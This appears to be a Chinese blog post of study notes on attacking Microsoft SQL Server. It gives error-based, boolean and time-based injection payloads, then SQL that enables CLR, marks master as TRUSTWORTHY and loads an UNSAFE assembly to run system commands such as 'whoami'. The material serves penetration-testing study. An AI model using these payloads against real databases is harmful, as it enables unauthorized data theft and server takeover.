• sqlserver命令注入和getshell


    SqlServer基本注入需要知道的知识:

    1、MSSql的系统自带数据库:master

    2、在网站中,同一个网站一般不会跨库。

    3、MSSql中每一个库都有一个系统自带表:sysobjects(这是系统对象表,保存当前数据库的对象)

    4、注意sysobjects中的三个字段:NAME、XTYPE、ID

    NAME字段是表名信息;

    XTYPE字段是表的类型(只有两个参数:S和U;S代表系统表、U代表用户创建表);

    ID字段的值用来连接syscolumns表

    5、syscolumns表保存当前数据库中的所有字段

    6、syscolumns表我们需要查询的字段是NAME字段,Name字段保存的是字段名称

    7、top关键字:由于MSSql中没有Limit函数,因此我们想要输出限制的数据就要top +数字

    8、MSSql中常用参数:

    @@version:查询当前数据库版本

    db_name():查询当前数据库名称

    user:查询当前用户

    9、 IS_SRVROLEMEMBER():查询数据库权限(严格来讲这是个函数,拆分来记srv即server:服务,role:角色,member:成员)

    常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin(这些常用权限是是作为上面的函数的参数出现的)

    用法如下:select IS_SRVROLEMEMBER('sysadmin');如果是该权限,则会返回1

    10、cast函数,可以把查询的数据转换成字符型,这个可以用于报错注入,用法如下:

    cast(count(*) as varchar(255))+char(94)

    注意加号要换成url编码:%2b否则会报错

    11、len()函数,MSSQL中的判断字符长度的函数

    12、substring函数,截断字符串的函数

    13、waitfor delay '0:0:5'命令是延时五秒的意思

    14、if ascii()语句中,ascii的返回值是条件

    报错注入

    1、首先要用到之前说的cast函数,我们可以根据cast函数将数据转换成字符类型,这一点进行数据类型的不同进行报错注入,因为它会提醒你‘将某个值转换成类型x的时候转换失败’,我们就可以知晓数据需要的类型

    2、我们可以用having 1=1爆出第一个字段名,语句如下:

    and (select top 1 * from 表名 having 1=1)>1

    会报错:“选择列表中的列’表名.列名1’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

    3、用group by 来爆出后面的字段,这是由于group by后面跟的字段数要与select查询的字段数一致

    and (select top 1 * from 表名 group by 列名1)=1

    会报错:“选择列表中的列’表名.列名2’无效,因为该列没有包含在聚合函数或GROUP BY子句中”

    下一条语句:

    and (select top 1 * from 表名 group by 列名1,列名2)=1

    下面还会报上面的错,不过会是下一个字段了,一直往后直到没有上述报错为止。

    布尔盲注

    和MySQL的注入方式基本一致,但是函数注意是须知知识中的11、12

    时间盲注

    1、我们使用if ascii(substring())=x waitfor delay '0:0:5'来判断字符的值,若是前面的条件符合,则等待五秒

    2、一条一条的向下寻找后面的字符

    SA权限使用CLR 执行系统命令
    创建CLR有两种方式:

    使用DLL文件进行创建
    使用文件16进制流进行创建
    启用CLR功能
    exec sp_configure 'show advanced options', 1;
    RECONFIGURE;
    Exec sp_configure 'clr enabled', 1;
    RECONFIGURE;
    -- 如果存在权限问题,执行下面命令
    alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
    EXEC sp_changedbowner 'sa'

    --导入程序集
    CREATE ASSEMBLY [WarSQLKit] 
        AUTHORIZATION [dbo] FROM 十六进制数据 
        WITH PERMISSION_SET = UNSAFE;
    CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
        AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;

    —- 执行命令
    EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘

    -- 删除程序集
    DROP PROCEDURE sp_cmdExec;
    DROP ASSEMBLY [WarSQLKit];
     

    1. exec sp_configure 'show advanced options', 1;
    2. RECONFIGURE;
    3. Exec sp_configure 'clr enabled', 1;
    4. RECONFIGURE;
    5. -- 如果存在权限问题,执行下面命令
    6. alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
    7. EXEC sp_changedbowner 'sa'
    8. --导入程序集
    9. CREATE ASSEMBLY [WarSQLKit]
    10. AUTHORIZATION [dbo] FROM 十六进制数据
    11. WITH PERMISSION_SET = UNSAFE;
    12. CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
    13. AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
    14. —- 执行命令
    15. EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec ’whoami‘
    16. -- 删除程序集
    17. DROP PROCEDURE sp_cmdExec;
    18. DROP ASSEMBLY [WarSQLKit];

  • 相关阅读:
    cubeIDE开发, stm32的OLED点亮及字符显示设计(基于SPI通信)
    计算机视觉与深度学习 | 非线性优化理论:图优化、高斯牛顿法和列文伯格-马夸尔特算法
    智能双星:遥测终端机与柳林“巡检机器人“,助力智能运维新升级!
    TypeScript中报错:元素隐式具有 “any“ 类型,因为类型为 “XXX“ 的表达式不能用于索引类型。
    js逆向tips-某思录登录
    钱小雨--进
    模型推理详细步骤以及如何排查模型和参数字典对不上的问题:Missing key(s) in state_dict: xxxx
    [0CTF 2016]piapiapia
    客服呼叫中心的变革之路:从传统到智能的跨越
    校招项目轻松学:电影详情模块——开发文档设计实战
  • 原文地址:https://blog.csdn.net/yetaodiao/article/details/127816172